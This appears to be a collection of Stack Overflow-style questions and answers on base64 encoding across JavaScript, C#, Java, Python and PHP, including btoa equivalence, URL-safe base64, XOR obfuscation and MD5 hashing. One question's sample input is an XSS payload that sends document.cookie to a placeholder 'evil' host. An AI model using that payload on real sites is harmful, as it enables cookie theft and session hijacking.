I need to recode something from js to c# that utilises the btoa method in js on a string of unicode chars to convert them to base64. However, as far as I know the encoding used by javascrpt is different to all those available in c#. I need the encoding to be exactly the same and not return different values across these languages. I have tried setting up a nodejs server and making get requests to it, in order to run the encoding that way, but this is far too slow and unstable. I am under the impression I would need to make my own encoding table but I have no idea where to start or how to implement this. If anyone could help that would be greatly appreciated.
tl;dr: javascript's btoa returns different value than base 64 encoding in c# does. I need it to be the same values.
code and outputs:
c#:
String fromChar = new
String(247,71,186,8,125,72,2,1.0078125,0.003936767578125);
var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(fromChar);
Console.WriteLine(System.Convert.ToBase64String(plainTextBytes));
output = w7dHwroIfUgCAQA=
javascript:
var x = btoa(String.fromCharCode(247,71,186,8,125,72,2,1.0078125,0.003936767578125);
console.log(x)
output =
90e6CH1IAgEA
I am aware the former example uses utf8 encoding which js does not, the problem is there is no encoding in .net that matches the javascript encoding.
Edit: Tried to compare the byte arrays of both c# and javascript but the problem is the btoa function uses an unnamed encoding, so I can't actually get the bytes to print the byte array for it without assuming it is something like utf8 which it is not.
Worked it out. For anyone wondering the encoding used is iso encoding. The btoa function in javascript can be replicated by using the following c# method:
public string encoding(string toEncode)
{
byte[] bytes= Encoding.GetEncoding(28591).GetBytes(toEncode);
string toReturn = System.Convert.ToBase64String(bytes);
return toReturn;
}
The decoding will be the following:
string base64EncodedString = "6Q==";
Encoding.GetEncoding(28591).GetString(Convert.FromBase64String(base64EncodedString));
// "é"
Related
After getting byte array encryptedMessageInBytes from AES encryption function call cipher.doFinal in Java, I convert the byte array to base64 like this:
String encryptedMessageInBase64 = new String(Base64.getEncoder().encode(encryptedMessageInBytes));
In JavaScript, I simply do .toString() to the output I get from CryptoJS.AES.encrypt method and I get exact same base64 string. i.e.
var encryptedMessageInBase64 = CryptoJS.AES.encrypt("Message", "Secret Passphrase").toString();
It gives same base64 string as in Java code.
However, in one of the Java source code, they have done like this:
String encryptedMessageInBase64 = Base64.getUrlEncoder().encodeToString(encryptedMessageInBytes);
What shall I do in JavaScript to obtain same base64 string?
Here is answer:
However, in one of the Java source code, they have done like this:
String encryptedMessageInBase64 = Base64.getUrlEncoder().encodeToString(encryptedMessageInBytes);*
Here, basically they have done UrlEncoding instead of Base64 encoding. It is nothing but replacing + and / characters with - and _ characters. Url encoding is when we want to send encoded string over HTTP where it treats these two as special characters this is why we need to replace them with some other characters which are HTTP friendly.
I encoded the query string below with the forURIComponent method of the OWASP encoder.
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery, and the decoded string should be exactly equal to the original query. How can I do this?
I assume you're talking about the OWASP Java Encoder. As far as I can tell, it does not supply any decoding functions.
However, since the Encode.forUriComponent() method implements standard URL percent encoding, you can use any correctly implemented URL decoding function to decode it. For example in Java, according to the answers to this question, you could use java.net.URLDecoder.
In JavaScript, decodeURIComponent() should do the trick. If you need to parse a URI containing (possibly) multiple parameters, however, you may find the URL class (or URLSearchParams) more convenient to use.
I am driving nuts trying to achieve this in JavaScript.
First I will describe the scenario, and then I'll put my code, Python version, which I can't seem to translate into JavaScript.
I have a web page running on a server. I have no access to it whatsoever, so the only way I have to achieve basic functionality is using JavaScript.
The web page is used to compare information. The information is stored in CSV format, which I use to create HTML tables on the fly by using AJAX calls. For the sake of not having that information quickly available to users, enabling them to print the source code and 'stealing it', I came across a range of solutions, like encoding in Base64 (I know this is considered 'security by obscurity' and it's a bad practice, but I have no other choice here).
Base64 it's very easy to use in this case, but I lose all the special characters from UTF-8 (like á é í ó ú ñ etc), which are part of my language (Spanish).
So here comes the preferred solution, which works like a charm in Python: using bitwise XOR. What could I achieve using this method:
If someone figures out the url of the CSV file, it wouldn't be so easy to read the text without basic programming knowledge to de-encode it.
I can easily program the source database to export the data and then run the XORing fuction, upload those files to the server and then having them de-encoded on the fly too.
Is in that last step where I can not achieve what I want.
Here is my Python script:
To encode:
b = bytearray(open('file.csv', 'rb').read())
for i in range(len(b)):
b[i] ^= 0x71
open('file.out', 'wb').write(b)
To decode:
b = bytearray(open('file.out', 'rb').read())
for i in range(len(b)):
b[i] ^= 0x71
I need to achieve that small decoding function in JS.
Thank you all in advance for your time.
Base64
It isn't true that base64 makes you lose non-ASCII characters like ñ or á. Why should it? Base64 can encode any binary data, and encoded text is nothing else than binary data.
So encoding involves two steps:
A text encoding (such as UTF-8) converts your text to bytes, and the base64 encoding turns that into an ASCII string.
Decoding works the same, but backwards (reverse order of the two corresponding decoding functions).
This is how text encoding for UTF-8 works in JavaScript:
function encode_utf8(s) {
return unescape(encodeURIComponent(s));
}
function decode_utf8(s) {
return decodeURIComponent(escape(s));
}
I got this from here. Please note that I'm not a JS crack at all, and there might be more convenient methods now that I couldn't find.
Let's try this:
s = 'Se bañó todo el día.';
b = encode_utf8(s); # text encoding
a = btoa(b); # base64 encoding
console.log(a); # prints U2UgYmHDscOzIHRvZG8gZWwgZMOtYS4=
d = decode_utf8(atob(a)); # decode base64, then UTF-8
console.log(d); # prints Se bañó todo el día.
No character lost here.
XOR method
If you still want to do the XOR thing, you can decode as follows:
convert the UTF8-encoded string to an array of code points with Array.from()
XOR-decode with the ^ operator (or ^= assignment)
convert the result to a string with String.fromCodePoint()
decode the string with decode_utf8()
I'm not providing code for this, though.
Especially the third step might be a bit cumbersome, and I'm not sure if it's worth the pain.
After all, your users can just inspect the JS code to find out how the data are "encrypted", be it base64 or the XOR method.
Note
If you come from a Python background, be aware that there is no distinction like Python's str and bytes type. Both input and output of the {en,de}code_utf8() functions are always strings, same type. When you encode a string, you just get back another string where every codepoint is below 256, and it might be longer than the input string.
I’d like to use a set of REST API through JavaScript and I’m reading the documentation explaining how to implement authentication.
The following instructions are illustrated in pseudocode but I have some issue on understanding how to implement it in JavaScript (my JS level is quite basic).
This is the unclear part:
= FromBytesToBase64String(MD5Hash("{\n \"data\": {\n \"type\": \"company\",\n \"id\": \"879f2dfc-57ea-4dbb-96c7-c546f8812f1e\",\n \"external_1_value\": \"Updated value\"\n }\n}"))
Basically I should calculate MD5 hash of the string in question and then I should encode it in base 64 string If I understood well.
The documentation shows the flow broken in sub-steps:
= FromBytesToBase64String(b'eC\xcda\xa3\xa7\xaf\xa53\x93\xb4.\xa2\xb1\xe3]')
And then the final result:
"ZUPNYaOnr6Uzk7QuorHjXQ=="
I tried to do the same by using crypto.js library and I get a MD5 hash string but then how can I get this value "ZUPNYaOnr6Uzk7QuorHjXQ==" ?
Any idea on how I could do it?
Thanks so much for helping!
That final result is the base64 encoded string. The function FromBytesToBase64String is what produces it, but this is not a standard function in JavaScript.
Instead, try using one of the built-in functions documented here. Specifically:
window.btoa(MD5Hash("Your input string"));
window.btoa(MD5Hash("Your input string")); does not work because btoa takes the md5 string and converts that character by character, hence you need to feed it an byte array.I ended up combining ArrayBuffer to base64 encoded string
with https://github.com/pvorb/node-md5/issues/25
into :
function md5ToBase64(md5String,boolTrimLast){
var strRet = arrayBufferToBase64(hexByteStringToByteArray(md5String));
return boolTrimLast?strRet.slice(0,22):strRet;
}
use the btoa() function to get a base64 encoded string.
Use WindowBase64.btoa():
var encodedData = window.btoa(md5Hash);
I am trying to encode a string in javascript and decode it in php.
I use this code to put the string in a inputbox and then send it via form PUT.
document.getElementById('signature').value= b64EncodeUnicode(ab2str(signature));
And this code to decode
$signature=base64_decode($signature);
Here there is a jsfiddle for the encoding page:
https://jsfiddle.net/okaea662/
The problem is that I always get a string 98% correct but with some different characters.
For example: (the first string is the string printed in the inputbox)
¦S÷ä½m0×C|u>£áWÅàUù»¥ïs7Dþ1Ji%ýÊ{\ö°(úýýÁñxçO9Ù¡ö}XÇIWçβÆü8ú²ðÑOA¤nì6S+̽ i¼?¼ºNËÒo·a©8»eO|PPþBE=HèÑqaX©$Ì磰©b2(Ðç.$nÈR,ä_OX¾xè¥3éÂòkå¾ N,sáW§ÝáV:ö~Å×à<4)íÇKo¡L¤<Í»äA(!xón#WÙÕGù¾g!)ùC)]Q(*}?Ìp
¦S÷ ä½m0×C|u>£áWÅàUù»¥ïs7Dþ1Ji%ýÊ{\ö°(úýýÁñxçO9Ù¡ö}XÇIWçβÆü8ú²ðÑOA¤nì6S+̽ i¼?¼ºNËÒo·a©8»eO|PPþBE=HèÑ qaX©$Ì磰©b2(Ðç.$nÈR,ä_OX¾xè¥3éÂòkå¾ N ,sá W§ÝáV:ö~Å×à<4)íÇKo¡L¤<Í»äA(!xón#WÙÕGù¾g!)ùC)]Q(*}?Ìp
Note that the 4th character is distinct and then there is one or two more somewhere.
The string corresponds to a digital signature so these characters make the signature to be invalid.
I have no idea what is happening here. Any idea? I use Chrome browser and utf-8 encoding in header and metas (Firefox seems to use a different encoding in the inputbox but I will look that problem later)
EDIT:
The encoding to base64 apparently is not the problem. The base64 encoded string is the same in the browser than in the server. If I base64-decode it in javascript I get the original string but if I decode it in PHP I get a slightly different string.
EDIT2:
I still don't know what the problem is but I have avoided it sending the data in a blob with ajax.
Try using this command to encode your string with js:
var signature = document.getElementById('signature');
var base64 = window.btoa(signature);
Now with php, you simply use: base64_decode($signature)
If that doesn't work (I haven't tested it) there may be something wrong with the btoa func. So checkout this link here:
https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
There is a function in there that should work (if the above does not)
function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);
}));
}
b64EncodeUnicode(signature); // "4pyTIMOgIGxhIG1vZGU="